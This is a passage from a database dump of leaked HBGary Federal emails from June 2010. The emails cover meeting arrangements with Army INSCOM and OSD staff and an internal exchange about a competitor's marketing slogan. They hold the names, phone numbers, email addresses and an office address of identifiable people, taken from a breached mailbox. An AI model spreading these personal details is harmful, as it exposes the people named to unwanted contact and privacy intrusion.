using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',4546,'aaron_hbgary_com/4546.html'),(7846,'2010-06-28','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297006103.M770637P14101Q2701.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting (UNCLASSIFIED)','Aaron,\r\nI just wanted to say thanks again for visiting us on Friday. I typed up a summary of our meeting and sent it to Mrs. Brooks. Once she gets back to me, I\'ll let you know what she has to say. Hopefully she\'ll want to have another meeting. Thanks again.\r\n\r\nV/R\r\n\r\n-Steve\r\n\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nDate: Thursday, June 24, 2010 9:50 am\r\nSubject: Re: Meeting (UNCLASSIFIED)\r\nTo: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n\r\n\r\n> ok I will spam you with a few datasheets in case you haven\'t seen \r\n> them (about 4). I will also bring my community badge with me. I \r\n> am not in JPAS but can be found in the \"other\" database. Lastly I \r\n> will come with an open mind to discuss a variety of aspects of \r\n> cyber. I have spent a lot of time on both offense and defense, \r\n> sitting at the national CERTs/SOCs, including 1st IO and believe I \r\n> have a good understanding of what is broken, what are current and \r\n> future challenges, and what we can do to tangibly help. I am a \r\n> very small company at the moment so I am looking for opportunities \r\n> where I can help and in turn help grow my business.\r\n> \r\n> Look forward to our conversation.\r\n> \r\n> Aaron\r\n> \r\n> On Jun 24, 2010, at 9:31 AM, Turner, Stephen W CPT MIL USA \r\n> USINSCOM wrote:\r\n> \r\n> > Aaron, \r\n> > If you have secret information you can send it to my SIPR at \r\n> stephen.w.turner@us.army.smil.mil. I talked to my boss, MAJ \r\n> Verell, this morning and she informed me that both her and Mrs \r\n> Brooks won\'t be able to make it tomorrow. I was hoping Mrs. Brooks \r\n> would have the chance to meet you. She is the decision maker when \r\n> it comes to recommending new policy and introducing new products. \r\n> I have the capability to input credited aspects of your social \r\n> network training into Army training, and I can discuss issues and \r\n> solutions with you, but that\'s it. I can also take your \r\n> information and pass it to Mrs. Brooks and MAJ Verell. If that \r\n> still works for you, I\'ll see you at 10:00. Thanks again\r\n> > \r\n> > Steve\r\n> > \r\n> > DSN 703-428-4514\r\n> > \r\n> > ----- Original Message -----\r\n> > From: Aaron Barr  > Date: Tuesday, June 22, 2010 6:32 pm\r\n> > Subject: Re: Meeting (UNCLASSIFIED)\r\n> > To: \"Turner, Stephen W CPT MIL USA USINSCOM\"  > \r\n> > \r\n> >> Ok great. If it is possible to pass clearances I can provide some\r\n> >> very interesting perspectives for you specifically. If not maybe\r\n> >> another time.\r\n> >> \r\n> >> Aaron\r\n> >> \r\n> >> From my iPhone\r\n> >> \r\n> >> On Jun 22, 2010, at 5:54 PM, \"Turner, Stephen W CPT MIL USA USINSCOM\"\r\n> >>  >> \r\n> >>> Aaron,\r\n> >>> I think all of these topics would be of interest for the red team in\r\n> >>> one way or another. I\'ll need to get our computer guys to attend\r\n> >>> because they know much more about the malware and computer lingo. My\r\n> >>> section is specifically interested in creating awareness of new\r\n> >>> media threats and how to protect against them.\r\n> >>> \r\n> >>> V/R\r\n> >>> \r\n> >>> CPT Stephen W. Turner\r\n> >>> DSN 703-428-4514\r\n> >>> \r\n> >>> ----- Original Message -----\r\n> >>> From: Aaron Barr >> Date: Monday, June 21, 2010 9:38 pm\r\n> >>> Subject: Re: Meeting (UNCLASSIFIED)\r\n> >>> To: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n> >>> \r\n> >>> \r\n> >>>> CPT Turner,\r\n> >>>> \r\n> >>>> Let me give you a quick list of things I can talk about and you\r\n> >>>> tell me which ones are of the most interest. I can tailor any\r\n> >>>> material, etc to your interest.\r\n> >>>> \r\n> >>>> HBGary Technology that enables enterprise advanced detection of\r\n> >>>> advanced zero day malware.\r\n> >>>> 1. DDNA - Behavior based malware detection.\r\n> >>>> 2. Active Defense - Enterprise advanced malware detection and\r\n> >>>> analysis\r\n> >>>> 4. Threat Management - Volume malware processor. 20K malware a day.\r\n> >>>> \r\n> >>>> Services and Thought Leadership\r\n> >>>> 1. CERT/SOC Operations - Technologies and Processes that enable\r\n> >>>> transformation of CERT/SOC operations. Knowledge management.\r\n> >>>> Information Sharing. New Media, Bringing Malware analysis into\r\n> >>>> Net Defense.\r\n> >>>> 2. Incident Response - New technologies and processes for more\r\n> >>>> efficient IR engagements with leave behind capability for\r\n> >>>> continuous monitoring.\r\n> >>>> 3. Threat Intelligence - new threats require better threat\r\n> >>>> intelligence to understand. Approach to threat intelligence.\r\n> >>>> 4. IO - A list of things better discussed in person. Novell ways\r\n> >>>> to implement persistent internet operations. New Media, CovCom, etc.\r\n> >>>> \r\n> >>>> I can pass my clearances if needed.\r\n> >>>> \r\n> >>>> Aaron\r\n> >>>> \r\n> >>>> \r\n> >>>> On Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA\r\n> >>>> USINSCOM wrote:\r\n> >>>> \r\n> >>>>> How about 10:00 here at metro park. I figure the traffic should\r\n> >>>> good by then and you can still get out of here before the Friday\r\n> >>>> traffic starts again. If that time doesn\'t work let me know and\r\n> >>>> we\'ll pick another one. The address is:\r\n> >>>>> 6359 Walker Lane, Alexandria, VA 22310\r\n> >>>>> Once you get here you can give me a call at 703-428-4514 and\r\n> >>>> I\'ll meet up with you. We\'ll be meeting with the Army Red Team\r\n> >>>> Chief, MAJ Verell, and the Vulnerability Assessment Detachment\r\n> >>>> Chief, Mrs. Brooks. If you want, you can shoot me a list of topics\r\n> >>>> that you would like to discuss. Again, thanks for taking the time\r\n> >>>> to speak with us.\r\n> >>>>> \r\n> >>>>> Very Respectfully,\r\n> >>>>> \r\n> >>>>> CPT Stephen W. Turner\r\n> >>>>> DSN 703-428-4514\r\n> >>>>> \r\n> >>>>> ----- Original Message -----\r\n> >>>>> From: Aaron Barr > Date: Monday, June 21, 2010 9:36 am\r\n> >>>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n> >>>>> To: \"Turner, Stephen W CPT MIL USA\" >\r\n> >>>>> \r\n> >>>>>> Friday looks good for me. I will come to you.\r\n> >>>>>> \r\n> >>>>>> Let me know time and place and I\'ll be there.\r\n> >>>>>> \r\n> >>>>>> Aaron\r\n> >>>>>> \r\n> >>>>>> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n> >>>>>> \r\n> >>>>>>> Classification: UNCLASSIFIED\r\n> >>>>>>> Caveats: FOUO\r\n> >>>>>>> \r\n> >>>>>>> Mr. Barr,\r\n> >>>>>>> Thanks for your briefing, I really appreciate it. I have a\r\n> >>>>>> writing> course from Tuesday to Thursday but I\'m free on Friday of\r\n> >>>>>> this week.\r\n> >>>>>>> Next week is pretty open for me. Where are you located? I assume\r\n> >>>>>> up near\r\n> >>>>>>> Ft. Meade. Our office is in Springfield, Virginia. If we met\r\n> >>>>>> here it\r\n> >>>>>>> would be easier for us to get my boss, Mrs. Brooks, involved\r\n> >>>>>> concerning> Fidelis. She has been leading force in fighting to get\r\n> >>>>>> monitoring tools\r\n> >>>>>>> such as Fidelis on Army networks. If you are near Ft. Meade or\r\n> >>>>>>> close\r\n> >>>>>>> enough to metro area I could easily come to you. Let me know\r\n> >>>>>> what is\r\n> >>>>>>> convenient for you and we\'ll pick a time. Thanks\r\n> >>>>>>> \r\n> >>>>>>> CPT Steve Turner\r\n> >>>>>>> \r\n> >>>>>>> Classification: UNCLASSIFIED\r\n> >>>>>>> Caveats: FOUO\r\n> >>>>>>> \r\n> >>>>>>> \r\n> >>>>>> \r\n> >>>>>> Aaron Barr\r\n> >>>>>> CEO\r\n> >>>>>> HBGary Federal Inc.\r\n> >>>>>> \r\n> >>>> \r\n> >>>> Aaron Barr\r\n> >>>> CEO\r\n> >>>> HBGary Federal Inc.\r\n> >>>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',7382,'aaron_hbgary_com/7382.html'),(7847,'2010-06-28','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006103.M974894P14101Q2702.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: hbgary','How about the American Tap Room (across the street from Google)... say\r\n7-7:15 hrs...\r\n\r\nDave\r\n-----------------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOSD CIO IA\r\n703-697-2051 :desk\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 28, 2010 9:05 AM\r\nTo: Merritt, David CTR OSD CIO\r\nSubject: Re: hbgary\r\n\r\nSure sounds good.  A particular place you like?\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jun 28, 2010, at 8:51 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Can you do wednesday evening in reston town center?\r\n>\r\n> Wife and kids have the suv headed to NC tuesday evening.\r\n>\r\n> Dave\r\n>\r\n> --------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> Office of the Secretary of Defense\r\n> 703.699.3568\r\n>\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Merritt, David CTR OSD CIO\r\n> Sent: Wed Jun 23 18:45:47 2010\r\n> Subject: Re: hbgary\r\n>\r\n> Ok.  I have a late dinner scheduled.  How about monday or Tuesday?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 23, 2010, at 8:48 AM, \"Merritt, David CTR OSD CIO\"\r\n>  wrote:\r\n>\r\n>> It would be somewhere around 7...\r\n>>\r\n>> Dave\r\n>> -----------------------------------\r\n>> David D. Merritt, CISSP, CISM, ITIL\r\n>> OSD CIO IA\r\n>> 703-697-2051 :desk\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, June 22, 2010 9:30 PM\r\n>> To: Merritt, David CTR OSD CIO\r\n>> Subject: Re: hbgary\r\n>>\r\n>> Dave,\r\n>>\r\n>> I forgot to send you Greg\'s presentation.\r\n>>\r\n>> Do you have time to grab a drink after work on Friday?\r\n>>\r\n>> Aaron\r\n>>\r\n',16321,'aaron_hbgary_com/16321.html'),(7848,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006104.M181909P14101Q2703.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: hbgary','Sounds good.  See you then.\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jun 28, 2010, at 10:11 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> How about the American Tap Room (across the street from Google)... say\r\n> 7-7:15 hrs...\r\n>\r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 28, 2010 9:05 AM\r\n> To: Merritt, David CTR OSD CIO\r\n> Subject: Re: hbgary\r\n>\r\n> Sure sounds good.  A particular place you like?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jun 28, 2010, at 8:51 AM, \"Merritt, David CTR OSD CIO\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Can you do wednesday evening in reston town center?\r\n>>\r\n>> Wife and kids have the suv headed to NC tuesday evening.\r\n>>\r\n>> Dave\r\n>>\r\n>> --------------------------\r\n>> David D. Merritt, CISSP, CISM, ITIL\r\n>> Office of the Secretary of Defense\r\n>> 703.699.3568\r\n>>\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Merritt, David CTR OSD CIO\r\n>> Sent: Wed Jun 23 18:45:47 2010\r\n>> Subject: Re: hbgary\r\n>>\r\n>> Ok.  I have a late dinner scheduled.  How about monday or Tuesday?\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On Jun 23, 2010, at 8:48 AM, \"Merritt, David CTR OSD CIO\"\r\n>>  wrote:\r\n>>\r\n>>> It would be somewhere around 7...\r\n>>>\r\n>>> Dave\r\n>>> -----------------------------------\r\n>>> David D. Merritt, CISSP, CISM, ITIL\r\n>>> OSD CIO IA\r\n>>> 703-697-2051 :desk\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, June 22, 2010 9:30 PM\r\n>>> To: Merritt, David CTR OSD CIO\r\n>>> Subject: Re: hbgary\r\n>>>\r\n>>> Dave,\r\n>>>\r\n>>> I forgot to send you Greg\'s presentation.\r\n>>>\r\n>>> Do you have time to grab a drink after work on Friday?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n',3641,'aaron_hbgary_com/3641.html'),(7849,'2010-06-28','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006104.M429629P14101Q2704.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','RE: Just Announced! Actionable Threat Intelligence with Fidelis XPS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat job Aaron, they took our MarketingJ\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 25, 2010 11:43 AM\r\nTo: Penny Leavy; Bob Slapnik; Greg Hoglund; Rich Cummings\r\nSubject: Fwd: Just Announced! Actionable Threat Intelligence with\r\nFidelis XPS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Fidelis\r\nSecurity Systems&quot; &lt;Fidelis_Security_Systems@mail.vresp.com&gt;\r\nDate: June 25, 2010 2:02:22 PM EDT\r\nTo: aaron@hbgary.com\r\nSubject: Just Announced! Actionable Threat Intelligence with Fidelis\r\nXPS\r\nReply-To: &quot;Fidelis Security Systems&quot; &lt;reply-a00a744198-8abe222907-9955@u.cts.vresp.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    Just Announced!\r\n    Actionable Threat Intelligence: Prevent Cyber Attacks with Fidelis\r\n    XPS&#8482; \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  As advanced and persistent threats&#8212; such as phishing and malware attacks&#8212;\r\n  constantly morph, it is critical to stay ahead of the threat. To date, the\r\n  limited amount of threat intelligence data available has been trapped in\r\n  products offering only partial visibility into network traffic and minimal\r\n  coverage of a small number of ports and protocols. \r\n  \r\n  Feed It! \r\n  &nbsp; \r\n  This week, Fidelis Security Systems announced that their award-winning\r\n  network security product, Fidelis XPS&#8482;, integrates directly with Anti-Malware\r\n  and Anti-Phishing threat intelligence feeds from Cyveillance, a world leader\r\n  in cyber intelligence solutions. The newly released Feed Manager function in\r\n  Fidelis XPS connects to threat intelligence sources, either internal or\r\n  external to the organization, in order to provide dynamic, real-time\r\n  reputation-based policy updates to their Fidelis XPS sensors. \r\n  Why Use Fidelis XPS Real-Time Threat\r\n  Intelligence?\r\n  Unlike signature-based solutions that are easy to evade, or reputational\r\n  data tied to a small number of ports, Fidelis XPS brings real-time\r\n  reputational knowledge to life for all 65,535 ports along with the\r\n  unparalleled visibility and control of network traffic needed to mitigate\r\n  today\'s advanced and persistent cyber threats.\r\n  \r\n   Transforms dynamic threat intelligence\r\n       data into actionable threat mitigation policies automatically.\r\n   Greatly reduces threat mitigation cost and\r\n       time-to-safety.\r\n   Operationalizes threat intelligence across\r\n       all ports to stay ahead of the threat, as many advanced threats are\r\n       port-agile.\r\n   Enforces threat intelligence policies at\r\n       throughputs up to multiple Gigabits per second in a single device to\r\n       protect all enterprise ingress and egress traffic with a single box.\r\n   Enable fine-grained policy decisions\r\n       through enforced policies that combine dynamic threat intelligence with\r\n       other factors. \r\n  \r\n  It\'s Time to Take Action! \r\n  Visit our website\r\n  or contact\r\n  us today to learn more about Fidelis XPS threat intelligence\r\n  features. \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n   \r\n    \r\n    Learn why Fidelis XPS is the network security solution you\r\n    should choose to prevent cyber attacks&#8212; Take Action! \r\n    \r\n   \r\n   \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    Attend the Webinar\r\n    Learn more about the new evolving threats on your network and how to\r\n    prevent them by attending the &#8220;Shaken,\r\n    Not Stirred: Preventing Cyber Attacks with Actionable Threat Intelligence&#8221;\r\n    Webinar at 1:00 p.m. EST on July 21, 2010\r\n    \r\n   \r\n   \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    See It in Action\r\n    Check out our 4-minute YouTube\r\n    video demo to see the visibility and control you will gain when using\r\n    our Information Flow Map&#8482; feature for advanced situational awareness. \r\n    \r\n   \r\n   \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    Read All About It\r\n    Download\r\n    our white paper, &#8220;Preventing Cyber Attacks with Real-Time Threat\r\n    Intelligence&#8221;. \r\n    \r\n   \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Copyright &copy; 2010 Fidelis Security Systems. the Fidelis\r\n  Security Systems logo are registered trademarks of Fidelis Security Systems.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Click\r\n  to view this email in a browser \r\n  \r\n  If you no longer wish to receive these emails, please reply to this message\r\n  with &quot;Unsubscribe&quot; in the subject line or simply click on the\r\n  following link: Unsubscribe\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Fidelis\r\n  Security Systems\r\n  4416 East West Highway\r\n  Suite 310\r\n  Bethesda, Maryland 20814\r\n  Read\r\n  the VerticalResponse marketing policy. \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4115,'aaron_hbgary_com/4115.html'),(7850,'2010-06-28','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006104.M644526P14101Q2705.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: Just Announced! Actionable Threat Intelligence with Fidelis XPS','&quot;Actionable Threat Intelligence&quot; is a directly stolen from Greg Hoglund.  I mind-fucked our marketing for days to come up with that nugget.\r\n \r\n-Greg\r\nOn Mon, Jun 28, 2010 at 7:13 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreat job Aaron, they took our MarketingJ\r\n\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, June 25, 2010 11:43 AM\r\nTo: Penny Leavy; Bob Slapnik; Greg Hoglund; Rich CummingsSubject: Fwd: Just Announced! Actionable Threat Intelligence with Fidelis XPS\r\n\r\n \r\n\r\nFrom my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: &quot;Fidelis Security Systems&quot; &lt;Fidelis_Security_Systems@mail.vresp.com&gt;\r\nDate: June 25, 2010 2:02:22 PM EDTTo: aaron@hbgary.comSubject: Just Announced! Actionable Threat Intelligence with Fidelis XPSReply-To: &quot;Fidelis Security Systems&quot; &lt;reply-a00a744198-8abe222907-9955@u.cts.vresp.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust Announced!Actionable Threat Intelligence: Prevent Cyber Attacks with Fidelis XPS™ \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\nAs advanced and persistent threats— such as phishing and malware attacks— constantly morph, it is critical to stay ahead of the threat. To date, the limited amount of threat intelligence data available has been trapped in products offering only partial visibility into network traffic and minimal coverage of a small number of ports and protocols. \r\nFeed It!   This week, Fidelis Security Systems announced that their award-winning network security product, Fidelis XPS™, integrates directly with Anti-Malware and Anti-Phishing threat intelligence feeds from Cyveillance, a world leader in cyber intelligence solutions. The newly released Feed Manager function in Fidelis XPS connects to threat intelligence sources, either internal or external to the organization, in order to provide dynamic, real-time reputation-based policy updates to their Fidelis XPS sensors. \r\n\r\nWhy Use Fidelis XPS Real-Time Threat Intelligence?\r\nUnlike signature-based solutions that are easy to evade, or reputational data tied to a small number of ports, Fidelis XPS brings real-time reputational knowledge to life for all 65,535 ports along with the unparalleled visibility and control of network traffic needed to mitigate today&#39;s advanced and persistent cyber threats.\r\n\r\n\r\nTransforms dynamic threat intelligence data into actionable threat mitigation policies automatically.\r\nGreatly reduces threat mitigation cost and time-to-safety.\r\nOperationalizes threat intelligence across all ports to stay ahead of the threat, as many advanced threats are port-agile.\r\nEnforces threat intelligence policies at throughputs up to multiple Gigabits per second in a single device to protect all enterprise ingress and egress traffic with a single box.\r\nEnable fine-grained policy decisions through enforced policies that combine dynamic threat intelligence with other factors. \r\nIt&#39;s Time to Take Action! Visit our website or contact us today to learn more about Fidelis XPS threat intelligence features. \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\nLearn why Fidelis XPS is the network security solution you should choose to prevent cyber attacks— Take Action! \r\n\r\n\r\n \r\n\r\n\r\nAttend the WebinarLearn more about the new evolving threats on your network and how to prevent them by attending the “Shaken, Not Stirred: Preventing Cyber Attacks with Actionable Threat Intelligence” Webinar at 1:00 p.m. EST on July 21, 2010\r\n\r\n\r\n\r\n \r\n\r\n\r\nSee It in ActionCheck out our 4-minute YouTube video demo to see the visibility and control you will gain when using our Information Flow Map™ feature for advanced situational awareness. \r\n\r\n\r\n\r\n \r\n\r\n\r\nRead All About ItDownload our white paper, “Preventing Cyber Attacks with Real-Time Threat Intelligence”. \r\n\r\n \r\n\r\n\r\nCopyright © 2010 Fidelis Security Systems. the Fidelis Security Systems logo are registered trademarks of Fidelis Security Systems.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClick to view this email in a browser If you no longer wish to receive these emails, please reply to this message with &quot;Unsubscribe&quot; in the subject line or simply click on the following link: Unsubscribe \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFidelis Security Systems4416 East West HighwaySuite 310Bethesda, Maryland 20814\r\nRead the VerticalResponse marketing policy. \r\n\r\n\r\n\r\n\r\n\r\n',7778,'aaron_hbgary_com/7778.html'),(7851,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006105.M277755P14101Q2707.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Just Announced! Actionable Threat Intelligence with Fidelis XPS','Companies that use it.SecureworksIdefenseFidelisRazorthreatLoftyperchHBGaryCalameoMcafee\r\nLurhq...From my iPhoneOn Jun 28, 2010, at 10:24 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n&quot;Actionable Threat Intelligence&quot; is a directly stolen from Greg Hoglund.  I mind-fucked our marketing for days to come up with that nugget.\r\n \r\n-Greg\r\nOn Mon, Jun 28, 2010 at 7:13 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreat job Aaron, they took our MarketingJ\r\n\r\n\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 25, 2010 11:43 AM\r\nTo: Penny Leavy; Bob Slapnik; Greg Hoglund; Rich CummingsSubject: Fwd: Just Announced! Actionable Threat Intelligence with Fidelis XPS\r\n\r\n \r\n\r\nFrom my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: &quot;Fidelis Security Systems&quot; &lt;Fidelis_Security_Systems@mail.vresp.com&gt;\r\n\r\nDate: June 25, 2010 2:02:22 PM EDTTo: aaron@hbgary.comSubject: Just Announced! Actionable Threat Intelligence with Fidelis XPS\r\nReply-To: &quot;Fidelis Security Systems&quot; &lt;reply-a00a744198-8abe222907-9955@u.cts.vresp.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust Announced!Actionable Threat Intelligence: Prevent Cyber Attacks with Fidelis XPS™ \r\n\r\n\r\n\r\n',5195,'aaron_hbgary_com/5195.html'),(7852,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006105.M49618P14101Q2706.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Just Announced! Actionable Threat Intelligence with Fidelis XPS','\r\nI don&#39;t think it was stolen.  Google actionable threat intelligence.  These are words that are deriving from a consolidated lexicon on threat.But I could be wrong.  Lots of companies using this language though.\r\nAaronFrom my iPhoneOn Jun 28, 2010, at 10:24 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n&quot;Actionable Threat Intelligence&quot; is a directly stolen from Greg Hoglund.  I mind-fucked our marketing for days to come up with that nugget.\r\n \r\n-Greg\r\nOn Mon, Jun 28, 2010 at 7:13 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreat job Aaron, they took our MarketingJ\r\n\r\n\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 25, 2010 11:43 AM\r\nTo: Penny Leavy; Bob Slapnik; Greg Hoglund; Rich CummingsSubject: Fwd: Just Announced! Actionable Threat Intelligence with Fidelis XPS\r\n\r\n \r\n\r\nFrom my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: &quot;Fidelis Security Systems&quot; &lt;Fidelis_Security_Systems@mail.vresp.com&gt;\r\n\r\nDate: June 25, 2010 2:02:22 PM EDTTo: aaron@hbgary.comSubject: Just Announced! Actionable Threat Intelligence with Fidelis XPS\r\nReply-To: &quot;Fidelis Security Systems&quot; &lt;reply-a00a744198-8abe222907-9955@u.cts.vresp.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust Announced!Actionable Threat Intelligence: Prevent Cyber Attacks with Fidelis XPS™ \r\n\r\n\r\n\r\n',2127,'aaron_hbgary_com/2127.html'),(7853,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006105.M541944P14101Q2708.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Just Announced! Actionable Threat Intelligence with Fidelis XPS','Funny.  Hey do you have an example of a curriculum outline I could use?\r\n\r\nAaron\r\n\r\n\r\nBegin forwarded message:\r\n\r\n> From: Aaron Barr \r\n> Date: June 28, 2010 10:38:16 AM EDT\r\n> To: Greg Hoglund \r\n> Cc: Penny Leavy-Hoglund , Bob Slapnik , Rich Cummings \r\n> Subject: Re: Just Announced! Actionable Threat Intelligence with Fidelis XPS\r\n> \r\n> Companies that use it.\r\n> \r\n> Secureworks\r\n> Idefense\r\n> Fidelis\r\n> Razorthreat\r\n> Loftyperch\r\n> HBGary\r\n> Calameo\r\n> Mcafee\r\n> Lurhq...\r\n> \r\n> \r\n> From my iPhone\r\n> \r\n> On Jun 28, 2010, at 10:24 AM, Greg Hoglund  wrote:\r\n> \r\n>> \"Actionable Threat Intelligence\" is a directly stolen from Greg Hoglund.  I mind-fucked our marketing for days to come up with that nugget.\r\n>>  \r\n>> -Greg\r\n>> \r\n>> On Mon, Jun 28, 2010 at 7:13 AM, Penny Leavy-Hoglund  wrote:\r\n>> Great job Aaron, they took our MarketingJ\r\n>> \r\n>>  \r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Friday, June 25, 2010 11:43 AM\r\n>> To: Penny Leavy; Bob Slapnik; Greg Hoglund; Rich Cummings\r\n>> Subject: Fwd: Just Announced! Actionable Threat Intelligence with Fidelis XPS\r\n>> \r\n>>  \r\n>> \r\n>> \r\n>> From my iPhone\r\n>> \r\n>> \r\n>> Begin forwarded message:\r\n>> \r\n>> From: \"Fidelis Security Systems\" \r\n>> Date: June 25, 2010 2:02:22 PM EDT\r\n>> To: aaron@hbgary.com\r\n>> Subject: Just Announced! Actionable Threat Intelligence with Fidelis XPS\r\n>> Reply-To: \"Fidelis Security Systems\" \r\n>> \r\n>> Just Announced!\r\n>> Actionable Threat Intelligence: Prevent Cyber Attacks with Fidelis XPS™\r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9886,'aaron_hbgary_com/9886.html'),(7854,'2010-06-28','\"Ted Vera\" 